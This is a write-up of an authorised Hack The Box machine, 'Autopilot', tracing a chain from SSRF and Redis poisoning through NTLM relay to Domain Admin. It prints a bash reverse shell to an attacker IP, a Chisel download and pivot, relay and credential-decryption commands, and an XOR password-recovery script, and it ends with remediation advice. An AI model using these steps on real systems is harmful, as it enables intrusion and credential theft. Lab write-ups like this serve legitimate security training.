back to writeups

Autopilot

Hack The Box · app.hackthebox.com/machines/Autopilot · Season 12 · completed 19 October 2026
Machine rank #520 NEW Windows Insane Season 12 Grommunio Nextcloud NTLM relay Active Directory User Root ● Completed
Authorised lab note This documents an authorised Hack The Box Season 12 machine. Addresses are ephemeral and changed after lab resets. Flag values are not repeated here; the commands show where they were recovered.
TL;DR Deborah's supplied Grommunio account → Files plugin → controlled Seafile backend → gopher SSRF into Redis → poisoned Nextcloud mailer → grofiles shell → PHP-FPM execution → Postfix configuration abuse → root on Grommunio → Chisel pivot → recurring IMAP NTLM authentication relayed to unsigned SMB on WS02 → Thunderbird credential recovery → local administrator → runas.exe static analysis → Domain Admin → root.txt from DC01.
External target
grommunio.autopilot.htb over HTTPS
Internal mail host
172.16.20.10
Domain controller
DC01 at 172.16.20.1
Workstation
WS02 at 172.16.20.15
Starting account
deborah.hernandez
User path
Seafile SSRF → Redis → mail notification → Postfix
Root path
IMAP NTLM relay → WS02 → saved login → embedded Domain Admin credential

01External enumeration

A full TCP scan left HTTPS as the only exposed service. The certificate supplied the useful virtual hosts.

sudo nmap -Pn -sS -p- --min-rate 1000 <target-ip>
sudo nmap -Pn -sV -sC -p443 <target-ip>

echo '<target-ip> grommunio.autopilot.htb autodiscover.autopilot.htb mail.autopilot.htb' \
  | sudo tee -a /etc/hosts

The web interface exposed Grommunio Web, EWS, Autodiscover, ActiveSync, WebDAV, and an integrated Nextcloud-derived Files application. Deborah's supplied credentials authenticated to both the mailbox and the Files service.

curl -ksS -u 'deborah.hernandez:<supplied-password>' \
  -X PROPFIND -H 'Depth: 1' \
  https://grommunio.autopilot.htb/files/remote.php/dav/files/deborah.hernandez/

Mail and directory data identified Joshua Harris as a newly provisioned service account and Stephanie Lewis as the provisioner. Direct EWS access to other users and Exchange impersonation both returned access denied, so the useful attack surface was the Files plugin.

02Controlled Seafile backend

The Grommunio Files plugin allowed a user-controlled Seafile account. A small fake Seafile API was hosted on Kali and returned the endpoints the plugin expected. The legacy account format was stored as version 0, with server_ssl represented by an empty array, preserving plain HTTP.

Backend:        Seafile
Server address: 10.10.15.44
Server port:    8000
Account format: version 0
server_ssl:     []

Observed callbacks:
POST /api2/auth-token/
GET  /api2/repos/
GET  /api2/repos/<repo-id>/file/?p=/test

The file endpoint returned a controlled URL, giving an SSRF primitive from the Grommunio host. A gopher://127.0.0.1:6379/... response carried a Redis protocol request into the local cache.

03Redis poisoning and the grofiles shell

Nextcloud cached the discovered path of the sendmail executable. Replacing that cache value with a Bash callback converted a later email notification into command execution.

Redis key:
0080d9f8020c1c045f3ae6468d0c933a/findBinaryPathsendmail

Cached command:
/bin/bash -c 'bash -i >& /dev/tcp/10.10.15.44/9005 0>&1'

A harmless WebDAV file and an email share triggered the notification path:

echo htb >/tmp/pwn.txt

curl -ksS -u 'deborah.hernandez:<supplied-password>' \
  -X PUT --data-binary @/tmp/pwn.txt \
  https://grommunio.autopilot.htb/files/remote.php/dav/files/deborah.hernandez/pwn.txt

curl -ksS -u 'deborah.hernandez:<supplied-password>' \
  -H 'OCS-APIRequest: true' -X POST \
  --data-urlencode 'path=/pwn.txt' \
  --data-urlencode 'shareType=4' \
  --data-urlencode 'shareWith=deborah.hernandez@autopilot.htb' \
  --data-urlencode 'permissions=1' \
  'https://grommunio.autopilot.htb/files/ocs/v2.php/apps/files_sharing/api/v1/shares?format=json'

The listener received a shell as uid=462(grofiles).

04Pivot and internal PHP-FPM

Chisel exposed the internal network through a reverse SOCKS proxy.

# Kali
chisel server --reverse -p 9002

# Grommunio
curl http://10.10.15.44:8010/chisel -o /tmp/chisel
chmod +x /tmp/chisel
nohup /tmp/chisel client 10.10.15.44:9002 R:1080:socks \
  >/tmp/chisel.log 2>&1 &

Through the pivot, a crafted FastCGI request reached the internal PHP-FPM listener and executed commands as wwwrun. A helper encoded commands before passing them to cgi-fcgi:

/tmp/fcgi_b64.sh "$(printf %s 'id; whoami; hostname' | base64 -w0)"
# uid=479(wwwrun) gid=479(www)

05Root on the Grommunio host

The Grommunio Admin API database-configuration feature could register the permitted POSTCONF commit hook and alter Postfix's daemon_directory. A controlled postfix-script copied Bash to a setuid location when Postfix restarted.

/var/spool/mail/rootbash -p -c 'id'
# uid=479(wwwrun) gid=479(www) euid=0(root)

With root execution, the user flag was located directly:

CMD="/var/spool/mail/rootbash -p -c 'find /home /root -type f -name user.txt -print -exec cat {} \\;'"
/tmp/fcgi_b64.sh "$(printf %s "$CMD" | base64 -w0)"
user.txtrecovered from the rooted Grommunio host

06Map the internal Active Directory

Joshua's service account authenticated to LDAP and SMB. LDAPS was required because the domain controller enforced LDAP signing.

LDAPTLS_REQCERT=never proxychains4 -q -f /tmp/pc1080.conf \
  ldapsearch -LLL -x -H ldaps://172.16.20.1:636 \
  -D 'AUTOPILOT\sa-joshua.harris' -w '<service-account-password>' \
  -b 'DC=autopilot,DC=htb' \
  '(&(objectCategory=computer)(dNSHostName=*))' \
  sAMAccountName dNSHostName operatingSystem

The domain contained three key systems:

HostAddressRole
DC01172.16.20.1Windows Server 2025 domain controller
Grommunio172.16.20.10Linux mail and Files server
WS02172.16.20.15Windows 11 workstation

Joshua belonged to DnsAdmins and System Administrators. The DNS plugin route looked promising, but writes returned access errors or stopped DNS without producing execution. BloodHound showed no shorter useful path to Domain Admin.

07Find the NTLM relay target

SMB enumeration exposed the intended contrast: DC01 required signing, while WS02 accepted unsigned SMB. A dedicated reverse forward made WS02 available locally on Kali.

# Grommunio
nohup /tmp/chisel client 10.10.15.44:9002 \
  R:1445:172.16.20.15:445 \
  >/tmp/chisel-ws02.log 2>&1 &

# Kali
proxychains4 -q -f /tmp/pc1080.conf netexec smb 172.16.20.1
netexec smb 127.0.0.1 --port 1445

# DC01 signing:True
# WS02 signing:False

Monitoring on the owned mail server showed 172.16.20.15 reconnecting to TCP 143 every few seconds. The client negotiated IMAP STARTTLS and used AUTHENTICATE NTLM. The workstation was repeatedly sending relayable authentication to infrastructure already under our control.

08Relay IMAP NTLM to WS02

The working relay preserved the live NTLM challenge-response exchange:

# Kali
sudo nohup python3 -u /tmp/imap_relay_broker.py \
  >/tmp/imap-relay-broker.log 2>&1 &

# Grommunio wrapper
trap 'systemctl start gromox-imap.service' EXIT INT TERM
systemctl stop gromox-imap.service
timeout 180 python3 /tmp/imap_capture.py
TYPE3 identity=AUTOPILOT/stephanie.lewis
RELAY SUCCESS identity=AUTOPILOT/stephanie.lewis target=WS02

Impacket's command-output retrieval failed with STATUS_OBJECT_NAME_NOT_FOUND, but the relayed SMB session itself was administrative and could enumerate C$.

09Recover Stephanie's saved login

The relayed session downloaded the active Thunderbird profile from WS02:

C:\Users\da-stephanie.lewis\AppData\Roaming\Thunderbird\Profiles\p3xppadz.default-release

logins.json
key4.db
cert9.db
prefs.js

Firepwd decrypted the saved Grommunio web and IMAP login:

git clone --depth 1 https://github.com/lclevy/firepwd.git ~/htb/autopilot/tools/firepwd

python3 ~/htb/autopilot/tools/firepwd/firepwd.py \
  -d /tmp/ws02-loot/da-stephanie.lewis/p3xppadz.default-release

The recovered stephanie.lewis credential authenticated to WS02 with local-administrator rights. NetExec returned (Pwn3d!), and --sam --lsa recovered the local Administrator NT hash, the WS02 machine-account secret, and a cached da-stephanie.lewis DCC2 hash.

10Find and reverse runas.exe

The cached Domain Admin hash did not fall to rockyou.txt. The intended source was a small Go executable in Stephanie's profile:

C:\Users\stephanie.lewis\Videos\runas.exe
smbclient '//127.0.0.1/C$' -p 1445 \
  -U 'AUTOPILOT\stephanie.lewis%<recovered-password>' \
  -c 'get Users\stephanie.lewis\Videos\runas.exe runas.exe'

go version -m ./runas.exe
go tool nm -size ./runas.exe | grep -E 'main\.(main|passwordCipher|passwordKey|runAs)'
go tool objdump -s 'main.main' ./runas.exe > runas-main.asm

The binary exposed two Go slice headers:

0x1401b1910  main.passwordCipher → 0x1401ac6c8, length 14
0x1401b1930  main.passwordKey    → 0x1401ac6d8, length 14

main.main used a repeating XOR. Resolving the slice headers and applying the same loop recovered the embedded Domain Admin password:

import struct
import pefile

pe = pefile.PE("runas.exe")
base = pe.OPTIONAL_HEADER.ImageBase

def read_va(address, size):
    return pe.get_data(address - base, size)

def read_go_slice(header_address):
    pointer, length, _ = struct.unpack("<QQQ", read_va(header_address, 24))
    return read_va(pointer, length)

ciphertext = read_go_slice(0x1401b1910)
key = read_go_slice(0x1401b1930)
plaintext = bytes(value ^ key[i % len(key)] for i, value in enumerate(ciphertext))
print(plaintext.decode())

11Domain Admin and root.txt

The recovered credential authenticated as AUTOPILOT\da-stephanie.lewis on DC01:

proxychains4 -q -f /tmp/pc1080.conf \
  netexec smb 172.16.20.1 \
  -d AUTOPILOT \
  -u da-stephanie.lewis \
  -p '<embedded-password>'

# AUTOPILOT\da-stephanie.lewis (...) (Pwn3d!)

WMI executed but could not retrieve its temporary output file. Reading the administrative share directly was simpler and reliable:

ROOTFILE=~/htb/autopilot/root.txt

proxychains4 -q -f /tmp/pc1080.conf \
  smbclient '//172.16.20.1/C$' \
  -U 'AUTOPILOT\da-stephanie.lewis%<embedded-password>' \
  -c "get Users/Administrator/Desktop/root.txt $ROOTFILE"

cat "$ROOTFILE"
root.txtrecovered from C:\Users\Administrator\Desktop\root.txt on DC01

12Failed paths and lessons

13If this were your environment

Finding 1 · Critical

User-controlled backend produced SSRF into local services

The Files integration accepted an attacker-controlled Seafile endpoint and followed a returned gopher URL into Redis.

How I would fix it
Finding 2 · Critical

Root-controlled execution path was writable through an administrative API

Postfix configuration exposed a path from web-level command execution to a root-owned service restart.

How I would fix it
Finding 3 · Critical

Recurring NTLM authentication could be relayed to unsigned SMB

WS02 automatically authenticated to a compromised server and did not require SMB signing.

How I would fix it
Finding 4 · Critical

Privileged credentials were stored in user-accessible files

Thunderbird held a reusable administrative login, and runas.exe embedded a Domain Admin password using reversible XOR.

How I would fix it

14Cleanup

# Grommunio
systemctl start gromox-imap.service
pkill -f '^python3.*/tmp/imap_capture.py' 2>/dev/null || true
pkill -f '/tmp/chisel client' 2>/dev/null || true

# Kali
sudo pkill -f '[i]map_relay_broker.py' 2>/dev/null || true
pkill -f '[c]hisel server --reverse -p 9002' 2>/dev/null || true

◆If this were my environment

This chain crossed a web integration, local Redis and Postfix trust boundaries, then used recurring NTLM authentication against a workstation that did not require SMB signing. I would treat it as both an application-security and identity-tiering failure.

Priority controls
  • Put Grommunio/Nextcloud integrations in a restricted egress zone; allow-list schemes and destinations, revalidate redirects, and block loopback, link-local and internal ranges.
  • Bind Redis locally, enable protected mode and ACLs, remove dangerous administrative commands from application identities, and run every mail component with a narrowly scoped service account.
  • Require SMB signing across the domain, reduce or disable NTLM, and alert on workstation accounts authenticating to unexpected server roles.
  • Remove reusable privileged credentials from profiles and binaries; use gMSAs, Windows LAPS, separate admin workstations and just-in-time Tier 0 access.

Hardening guides and benchmarks

These references offer different implementation paths: consensus benchmarks, prescriptive government checklists, vendor baselines and application-security verification requirements. I would select the profile that matches the system's role, document exceptions, test it in staging and continuously measure drift.

Operational note CIS and DISA profiles can affect compatibility. Apply them through version-controlled policy, start in audit mode where supported, test business workloads and record every exception with an owner and review date.

back to writeups